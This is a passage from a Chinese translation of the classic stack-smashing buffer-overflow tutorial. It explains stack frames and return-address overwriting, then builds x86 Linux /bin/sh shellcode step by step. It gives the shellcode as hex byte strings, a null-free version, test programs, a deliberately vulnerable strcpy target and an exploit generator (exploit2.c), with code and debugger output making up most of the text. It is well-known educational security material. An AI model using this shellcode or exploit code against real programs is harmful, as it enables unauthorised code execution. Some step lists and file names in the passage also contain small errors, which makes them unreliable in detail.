些偏移量就變了. 盡管在某些情況下編譯器能夠跟蹤棧中的字操作, 由此可以修正偏移
量, 但是在某些情況下不能. 而且在所有情況下, 要引入可觀的管理開銷. 而且在有些
機(jī)器上, 比如Intel處理器, 由SP加偏移量訪問一個變量需要多條指令才能實(shí)現(xiàn).
因此, 許多編譯器使用第二個寄存器, FP, 對于局部變量和函數(shù)參數(shù)都可以引用,
因?yàn)樗鼈兊紽P的距離不會受到PUSH和POP操作的影響. 在Intel CPU中, BP(EBP)用于這
個目的. 在Motorola CPU中, 除了A7(堆棧指針SP)之外的任何地址寄存器都可以做FP.
考慮到我們堆棧的增長方向, 從FP的位置開始計(jì)算, 函數(shù)參數(shù)的偏移量是正值, 而局部
變量的偏移量是負(fù)值.
當(dāng)一個例程被調(diào)用時所必須做的第一件事是保存前一個FP(這樣當(dāng)例程退出時就可以
恢復(fù)). 然后它把SP復(fù)制到FP, 創(chuàng)建新的FP, 把SP向前移動為局部變量保留空間. 這稱為
例程的序幕(prolog)工作. 當(dāng)例程退出時, 堆棧必須被清除干凈, 這稱為例程的收尾
(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于
有效地序幕和收尾工作.
下面我們用一個簡單的例子來展示堆棧的模樣:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
為了理解程序在調(diào)用function()時都做了哪些事情, 我們使用gcc的-S選項(xiàng)編譯, 以產(chǎn)
生匯編代碼輸出:
$ gcc -S -o example1.s example1.c
通過查看匯編語言輸出, 我們看到對function()的調(diào)用被翻譯成:
pushl $3
pushl $2
pushl $1
call function
以從后往前的順序?qū)unction的三個參數(shù)壓入棧中, 然后調(diào)用function(). 指令call
會把指令指針(IP)也壓入棧中. 我們把這被保存的IP稱為返回地址(RET). 在函數(shù)中所做
的第一件事情是例程的序幕工作:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
將幀指針EBP壓入棧中. 然后把當(dāng)前的SP復(fù)制到EBP, 使其成為新的幀指針. 我們把這
個被保存的FP叫做SFP. 接下來將SP的值減小, 為局部變量保留空間.
我們必須牢記:內(nèi)存只能以字為單位尋址. 在這里一個字是4個字節(jié), 32位. 因此5字節(jié)
的緩沖區(qū)會占用8個字節(jié)(2個字)的內(nèi)存空間, 而10個字節(jié)的緩沖區(qū)會占用12個字節(jié)(3個字)
的內(nèi)存空間. 這就是為什么SP要減掉20的原因. 這樣我們就可以想象function()被調(diào)用時
堆棧的模樣(每個空格代表一個字節(jié)):
內(nèi)存低地址 內(nèi)存高地址
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
堆棧頂部 堆棧底部
緩沖區(qū)溢出
~~~~~~~~~~~~
緩沖區(qū)溢出是向一個緩沖區(qū)填充超過它處理能力的數(shù)據(jù)所造成的結(jié)果. 如何利用這個
經(jīng)常出現(xiàn)的編程錯誤來執(zhí)行任意代碼呢? 讓我們來看看另一個例子:
example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------------
這個程序的函數(shù)含有一個典型的內(nèi)存緩沖區(qū)編碼錯誤. 該函數(shù)沒有進(jìn)行邊界檢查就復(fù)
制提供的字符串, 錯誤地使用了strcpy()而沒有使用strncpy(). 如果你運(yùn)行這個程序就
會產(chǎn)生段錯誤. 讓我們看看在調(diào)用函數(shù)時堆棧的模樣:
內(nèi)存低地址 內(nèi)存高地址
buffer sfp ret *str
<------ [ ][ ][ ][ ]
堆棧頂部 堆棧底部
這里發(fā)生了什么事? 為什么我們得到一個段錯誤? 答案很簡單: strcpy()將*str的
內(nèi)容(larger_string[])復(fù)制到buffer[]里, 直到在字符串中碰到一個空字符. 顯然,
buffer[]比*str小很多. buffer[]只有16個字節(jié)長, 而我們卻試圖向里面填入256個字節(jié)
的內(nèi)容. 這意味著在buffer之后, 堆棧中250個字節(jié)全被覆蓋. 包括SFP, RET, 甚至*str!
我們已經(jīng)把large_string全都填成了A. A的十六進(jìn)制值為0x41. 這意味著現(xiàn)在的返回地
址是0x41414141. 這已經(jīng)在進(jìn)程的地址空間之外了. 當(dāng)函數(shù)返回時, 程序試圖讀取返回
地址的下一個指令, 此時我們就得到一個段錯誤.
因此緩沖區(qū)溢出允許我們更改函數(shù)的返回地址. 這樣我們就可以改變程序的執(zhí)行流程.
現(xiàn)在回到第一個例子, 回憶當(dāng)時堆棧的模樣:
內(nèi)存低地址 內(nèi)存高地址
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
堆棧頂部 堆棧底部
現(xiàn)在試著修改我們第一個例子, 讓它可以覆蓋返回地址, 而且使它可以執(zhí)行任意代碼.
堆棧中在buffer1[]之前的是SFP, SFP之前是返回地址. ret從buffer1[]的結(jié)尾算起是4個
字節(jié).應(yīng)該記住的是buffer1[]實(shí)際上是2個字即8個字節(jié)長. 因此返回地址從buffer1[]的開
頭算起是12個字節(jié). 我們會使用這種方法修改返回地址, 跳過函數(shù)調(diào)用后面的賦值語句
'x=1;', 為了做到這一點(diǎn)我們把返回地址加上8個字節(jié). 代碼看起來是這樣的:
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
我們把buffer1[]的地址加上12, 所得的新地址是返回地址儲存的地方. 我們想跳過
賦值語句而直接執(zhí)行printf調(diào)用. 如何知道應(yīng)該給返回地址加8個字節(jié)呢? 我們先前使用
過一個試驗(yàn)值(比如1), 編譯該程序, 祭出工具gdb:
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------
我們看到當(dāng)調(diào)用function()時, RET會是0x8004a8, 我們希望跳過在0x80004ab的賦值
指令. 下一個想要執(zhí)行的指令在0x8004b2. 簡單的計(jì)算告訴我們兩個指令的距離為8字節(jié).
Shell Code
~~~~~~~~~~
現(xiàn)在我們可以修改返回地址即可以改變程序執(zhí)行的流程, 我們想要執(zhí)行什么程序呢?
在大多數(shù)情況下我們只是希望程序派生出一個shell. 從這個shell中, 可以執(zhí)行任何我
們所希望的命令. 但是如果我們試圖破解的程序里并沒有這樣的代碼可怎么辦呢? 我們
怎么樣才能將任意指令放到程序的地址空間中去呢? 答案就是把想要執(zhí)行的代碼放到我
們想使其溢出的緩沖區(qū)里, 并且覆蓋函數(shù)的返回地址, 使其指向這個緩沖區(qū). 假定堆棧
的起始地址為0xFF, S代表我們想要執(zhí)行的代碼, 堆棧看起來應(yīng)該是這樣:
內(nèi)存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
堆棧頂部 堆棧底部
派生出一個shell的C語言代碼是這樣的:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
為了查明這程序變成匯編后是個什么樣子, 我們編譯它, 然后祭出調(diào)試工具gdb. 記住
在編譯的時候要使用-static標(biāo)志, 否則系統(tǒng)調(diào)用execve的真實(shí)代碼就不會包括在匯編中,
取而代之的是對動態(tài)C語言庫的一個引用, 真正的代碼要到程序加載的時候才會聯(lián)入.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我們看看這里究竟發(fā)生了什么事情. 先從main開始研究:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
這是例程的準(zhǔn)備工作. 首先保存老的幀指針, 用當(dāng)前的堆棧指針作為新的幀指針,
然后為局部變量保留空間. 這里是:
char *name[2];
即2個指向字符串的指針. 指針的長度是一個字, 所以這里保留2個字(8個字節(jié))的
空間.
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
我們把0x80027b8(字串"/bin/sh"的地址)這個值復(fù)制到name[]中的第一個指針, 這
等價于:
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
我們把值0x0(NULL)復(fù)制到name[]中的第二個指針, 這等價于:
name[1] = NULL;
對execve()的真正調(diào)用從下面開始:
0x8000144 <main+20>: pushl $0x0
我們把execve()的參數(shù)以從后向前的順序壓入堆棧中, 這里從NULL開始.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
把name[]的地址放到EAX寄存器中.
0x8000149 <main+25>: pushl %eax
接著就把name[]的地址壓入堆棧中.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
把字串"/bin/sh"的地址放到EAX寄存器中
0x800014d <main+29>: pushl %eax
接著就把字串"/bin/sh"的地址壓入堆棧中
0x800014e <main+30>: call 0x80002bc <__execve>
調(diào)用庫例程execve(). 這個調(diào)用指令把IP(指令指針)壓入堆棧中.
------------------------------------------------------------------------------
現(xiàn)在到了execve(). 要注意我們使用的是基于Intel的Linux系統(tǒng). 系統(tǒng)調(diào)用的細(xì)節(jié)隨
操作系統(tǒng)和CPU的不同而不同. 有的把參數(shù)壓入堆棧中, 有的保存在寄存器里. 有的使用
軟中斷跳入內(nèi)核模式, 有的使用遠(yuǎn)調(diào)用(far call). Linux把傳給系統(tǒng)調(diào)用的參數(shù)保存在
寄存器里, 并且使用軟中斷跳入內(nèi)核模式.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
例程的準(zhǔn)備工作.
0x80002c0 <__execve+4>: movl $0xb,%eax
把0xb(十進(jìn)制的11)放入寄存器EAX中(原文誤為堆棧). 0xb是系統(tǒng)調(diào)用表的索引
11就是execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
把"/bin/sh"的地址放到寄存器EBX中.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
把name[]的地址放到寄存器ECX中.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
把空指針的地址放到寄存器EDX中.
0x80002ce <__execve+18>: int $0x80
進(jìn)入內(nèi)核模式.
------------------------------------------------------------------------------
由此可見調(diào)用execve()也沒有什么太多的工作要做, 所有要做的事情總結(jié)如下:
a) 把以NULL結(jié)尾的字串"/bin/sh"放到內(nèi)存某處.
b) 把字串"/bin/sh"的地址放到內(nèi)存某處, 后面跟一個空的長字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到寄存器EDX中.
g) 執(zhí)行指令int $0x80.
但是如果execve()調(diào)用由于某種原因失敗了怎么辦? 程序會繼續(xù)從堆棧中讀取指令,
這時的堆棧中可能含有隨機(jī)的數(shù)據(jù)! 程序執(zhí)行這樣的指令十有八九會core dump. 如果execv
e
調(diào)用失敗我們還是希望程序能夠干凈地退出. 為此必須在調(diào)用execve之后加入一個exit
系統(tǒng)調(diào)用. exit系統(tǒng)調(diào)用在匯編語言看起來象什么呢?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
系統(tǒng)調(diào)用exit會把0x1放到寄存器EAX中, 在EBX中放置退出碼, 并且執(zhí)行"int 0x80".
就這些了! 大多數(shù)應(yīng)用程序在退出時返回0, 以表示沒有錯誤. 我們在EBX中也放入0. 現(xiàn)
在我們構(gòu)造shell code的步驟就是這樣的了:
a) 把以NULL結(jié)尾的字串"/bin/sh"放到內(nèi)存某處.
b) 把字串"/bin/sh"的地址放到內(nèi)存某處, 后面跟一個空的長字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到寄存器EDX中.
g) 執(zhí)行指令int $0x80.
h) 把0x1放到寄存器EAX中.
i) 把0x0放到寄存器EAX中.
j) 執(zhí)行指令int $0x80.
試著把這些步驟變成匯編語言, 把字串放到代碼后面. 別忘了在數(shù)組后面放上字串
地址和空字, 我們有如下的代碼:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
問題是我們不知道在要破解的程序的內(nèi)存空間中, 上述代碼(和其后的字串)會被放到
哪里. 一種解決方法是使用JMP和CALL指令. JMP和CALL指令使用相對IP的尋址方式, 也就
是說我們可以跳到距離當(dāng)前IP一定間距的某個位置, 而不必知道那個位置在內(nèi)存中的確切
地址. 如果我們在字串"/bin/sh"之前放一個CALL指令, 并由一個JMP指令轉(zhuǎn)到CALL指令上.
當(dāng)CALL指令執(zhí)行的時候, 字串的地址會被作為返回地址壓入堆棧之中. 我們所需要的就是
把返回地址放到一個寄存器之中. CALL指令只是調(diào)用我們上述的代碼就可以了. 假定J代
表JMP指令, C代表CALL指令, s代表字串, 執(zhí)行過程如下所示:
內(nèi)存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
堆棧頂部 堆棧底部
運(yùn)用上述的修正方法, 并使用相對索引尋址, 我們代碼中每條指令的字節(jié)數(shù)目如下:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
通過計(jì)算從jmp到call, 從call到popl, 從字串地址到數(shù)組, 從字串地址到空長字的
偏量, 我們得到:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
這看起來很不錯了. 為了確保代碼能夠正常工作必須編譯并執(zhí)行. 但是還有一個問題.
我們的代碼修改了自身, 可是多數(shù)操作系統(tǒng)將代碼頁標(biāo)記為只讀. 為了繞過這個限制我們
必須把要執(zhí)行的代碼放到堆棧或數(shù)據(jù)段中, 并且把控制轉(zhuǎn)到那里. 為此應(yīng)該把代碼放到數(shù)
據(jù)段中的全局?jǐn)?shù)組中. 我們首先需要用16進(jìn)制表示的二進(jìn)制代碼. 先編譯, 然后再用gdb
來取得二進(jìn)制代碼.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
成了! 但是這里還有一個障礙, 在多數(shù)情況下, 我們都是試圖使一個字符緩沖區(qū)溢出.
那么在我們shellcode中的任何NULL字節(jié)都會被認(rèn)為是字符串的結(jié)尾, 復(fù)制工作就到此為
止了. 對于我們的破解工作來說, 在shellcode里不能有NULL字節(jié). 下面來消除這些字節(jié),
同時把代碼精簡一點(diǎn).
Problem instruction: Substitute with:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Our improved code:
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
And our new test program:
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
破解實(shí)戰(zhàn)
~~~~~~~~~~
現(xiàn)在把手頭的工具都準(zhǔn)備好. 我們已經(jīng)有了shellcode. 我們知道shellcode必須是被
溢出的字符串的一部分. 我們知道必須把返回地址指回緩沖區(qū). 下面的例子說明了這幾點(diǎn):
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
------------------------------------------------------------------------------
如上所示, 我們用buffer[]的地址來填充large_string[]數(shù)組, shellcode就將會在
buffer[]之中. 然后我們把shellcode復(fù)制到large_string字串的開頭. strcpy()不做任
何邊界檢查就會將large_string復(fù)制到buffer中去, 并且覆蓋返回地址. 現(xiàn)在的返回地址
就是我們shellcode的起始位置. 一旦執(zhí)行到main函數(shù)的尾部, 在試圖返回時就會跳到我
們的shellcode中, 得到一個shell.
我們所面臨的問題是: 當(dāng)試圖使另外一個程序的緩沖區(qū)溢出的時候, 如何確定這個
緩沖區(qū)(會有我們的shellcode)的地址在哪? 答案是: 對于每一個程序, 堆棧的起始地址
都是相同的. 大多數(shù)程序不會一次向堆棧中壓入成百上千字節(jié)的數(shù)據(jù). 因此知道了堆棧
的開始地址, 我們可以試著猜出這個要使其溢出的緩沖區(qū)在哪. 下面的小程序會打印出
它的堆棧指針:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ ./sp
0x8000470
[aleph1]$
------------------------------------------------------------------------------
假定我們要使其溢出的程序如下:
vulnerable.c
------------------------------------------------------------------------------
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
------------------------------------------------------------------------------
我們創(chuàng)建一個程序可以接受兩個參數(shù), 一是緩沖區(qū)大小, 二是從其自身堆棧指針?biāo)闫?BR>的偏移量(這個堆棧指針指明了我們想要使其溢出的緩沖區(qū)所在的位置). 我們把溢出字符
串放到一個環(huán)境變量中, 這樣就容易操作一些.
exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
現(xiàn)在我們嘗試猜測緩沖區(qū)的大小和偏移量:
